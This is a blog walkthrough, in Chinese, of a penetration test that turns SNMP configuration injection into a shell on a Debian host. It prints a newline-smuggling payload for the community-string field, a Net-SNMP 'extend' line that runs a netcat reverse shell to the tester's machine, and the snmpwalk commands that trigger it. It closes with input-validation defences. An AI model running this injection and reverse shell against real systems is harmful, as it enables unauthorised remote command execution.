SNMP配置文件注入获取Shell权限实战

本文详细介绍了如何通过SNMP配置文件注入漏洞,从简单的配置修改到最终获取系统Shell权限的全过程。包括Net-SNMP扩展配置、MIB文件处理、反向Shell利用等技术细节,并提供了防御建议。

SNMP Config File Injection to Shell

在今天的Web应用测试中,我发现能够向SNMP配置文件中注入任意内容,并让服务使用更新后的文件重启。由于我可以通过Web界面更改community字符串并允许任意IP地址访问,起初认为这是一个有趣但低危的发现。幸运的是,当我向Sandro Gauci提及此问题时,他表示曾听说在某些情况下可以让SNMP服务器运行Shell命令。这听起来比仅仅向配置文件中添加几行内容要有趣得多,于是我开始深入研究。

我知道服务器运行的是Debian(是的,那些低层次的信息泄露确实有用!),这意味着它可能运行标准的Net-SNMP包。经过一番搜索,我找到了这篇非常有用的博客文章:使用Shell脚本扩展snmpd

我最初要处理的配置文件相当基础:

1
2
rocommunity public 127.0.0.1
rocommunity public 192.168.0.0/24

我能够向其中添加新条目,为不同的IP地址或范围设置自己的community字符串:

1
2
3
rocommunity public 127.0.0.1
rocommunity public 192.168.0.0/24
rocommunity notpublic 172.16.10.0/24

根据我读到的博客文章,我想要添加的行基于以下内容:

1
extend test /bin/echo hello

这告诉snmp服务,当请求扩展信息时,运行echo命令,然后使用扩展参数名称test返回其输出。基于此,我提交了以下新条目:

1
test 10.1.1.1%0a%0dextend test /bin/echo hello

中间的%0a%0d被解码为换行符和回车符,使我在配置文件中得到以下内容:

1
2
3
4
5
rocommunity public 127.0.0.1
rocommunity public 192.168.0.0/24
rocommunity notpublic 172.16.10.0/24
rocommunity test 10.1.1.1
extend test /bin/echo hello

完美,现在连接到服务器看看是否有效:

1
$ snmpwalk -v2c -c public 192.168.0.100 nsExtendOutput1

没有成功,我得到了这个错误:

1
nsExtendOutput1: Unknown Object Identifier (Sub-id not found: (top) -> nsExtendOutput1)

经过大量搜索,我找到了这篇文章:在Ubuntu和Debian上安装net-snmp MIBs,其中解释说由于许可问题,Ubuntu仅附带可用MIB的子集,要使用完整集,必须安装额外的包并更新客户端配置文件。完成这些后,我再次尝试:

1
2
3
4
5
$ snmpwalk -v2c -c public 192.168.0.100 nsExtendOutput1
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."test" = STRING: hello
NET-SNMP-EXTEND-MIB::nsExtendOutputFull."test" = STRING: hello
NET-SNMP-EXTEND-MIB::nsExtendOutNumLines."test" = INTEGER: 1
NET-SNMP-EXTEND-MIB::nsExtendResult."test" = INTEGER: 0

中了!MIB更新有效,echo命令也有效,我得到了输出。如果除了这个输出外,你还得到一堆以这行开头的错误:

1
Bad operator (INTEGER): At line 73 in /usr/share/mibs/ietf/SNMPv2-PDU

不用担心,它似乎不影响我们在这里的操作。如果你想修复它,这篇文章告诉你如何做:如何修复net-snmp / snmpwalk错误

现在剩下的就是获取Shell。幸运的是,Debian附带的Netcat包是具有-e参数的版本(再次说明,信息泄露很棒,有些发行版附带的版本没有-e,因此你需要使用不同的技术)。使用这个,我向配置中注入了一个简单的反向Shell命令,设置了我的监听器并重新运行了snmpwalk命令。这是最终的snmp.conf文件:

1
2
3
4
5
6
7
rocommunity public 127.0.0.1
rocommunity public 192.168.0.0/24
rocommunity notpublic 172.16.10.0/24
rocommunity test 10.1.1.1
extend test /bin/echo hello
rocommunity test 10.1.1.2
extend shell /bin/nc 192.168.0.1 4444 -e /bin/bash

Netcat监听器:

1
2
3
$ nc -l -p 4444
id
uid=113(Debian-snmp) gid=119(Debian-snmp) groups=119(Debian-snmp)

触发它的snmpwalk命令:

1
2
3
$ snmpwalk -v2c -c public 192.168.0.100 nsExtendOutput1
NET-SNMP-EXTEND-MIB::nsExtendOutput1Line."test" = STRING: hello
Timeout: No Response from 192.168.0.100

这里的超时是预期的,处理请求的snmp线程启动Shell并不返回,因此客户端放弃等待并超时。

最后一个注意事项:snmp服务没有设置PATH,因此所有命令和文件必须使用绝对路径,例如/bin/nc而不仅仅是nc。

在家实践

在自己的实验室中设置这个相当简单。为了测试本文的内容,我启动了一个Debian虚拟机,通过apt安装了snmpd包,然后将默认配置文件削减到与客户机器上开始时相同的内容。假设你从攻击者机器有连接性,这就是你所需要的。只需记住在开始更改之前用snmpwalk测试基本设置,以确保一切正常。

防御措施

似乎没有关于community字符串中可以使用哪些字符的正式定义,但各种公司已经定义了自己的标准。大多数允许标准的字母数字字符集加上一些符号选择,虽然我通常不赞成限制字符集,但在这里这样做似乎是合理的,只要你不要限制得太严格。一旦定义了字符集,编写正则表达式检查输入就是一项简单的工作。

另一种方法是剥离或编码已知的不良字符,例如换行符。这样做的问题是你必须考虑所有可能的不良字符,如果漏掉一个,攻击者就可以利用它来对付你。话虽如此,添加一个剥离换行符的调用不会增加显著的开销,并且在这种情况下可以保护客户端。

就是这样,从简单的文件注入到获取Shell,希望你喜欢。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计